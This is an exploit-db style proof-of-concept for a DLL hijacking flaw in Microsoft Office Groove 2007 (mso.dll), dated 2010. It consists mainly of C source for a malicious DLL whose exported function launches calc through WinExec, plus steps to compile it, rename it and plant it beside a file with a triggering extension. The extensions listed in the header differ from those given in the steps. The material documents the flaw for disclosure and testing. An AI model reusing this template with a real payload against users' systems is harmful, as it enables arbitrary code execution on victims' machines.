Microsoft Office Groove 2007 DLL Hijacking Exploit (mso.dll)

                                                /* 
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Exploit Title: Microsoft Office Groove 2007 DLL Hijacking 
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Office Groove 2007
Vulnerable extensions: wab , p7c

Compile and rename to mso.dll.dll, create a file in the same dir with one of the following extensions:
.vcg , .gta
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: http://www.exploit-db.com/sploits/14746.zip